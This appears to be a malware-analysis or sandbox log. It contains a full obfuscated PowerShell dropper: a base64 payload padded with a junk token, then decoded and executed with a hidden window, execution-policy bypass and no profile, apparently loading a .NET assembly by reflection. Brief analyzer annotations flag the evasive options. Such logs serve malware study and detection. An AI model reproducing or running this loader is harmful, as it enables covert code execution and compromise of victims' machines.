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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DWKuQemdUcK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe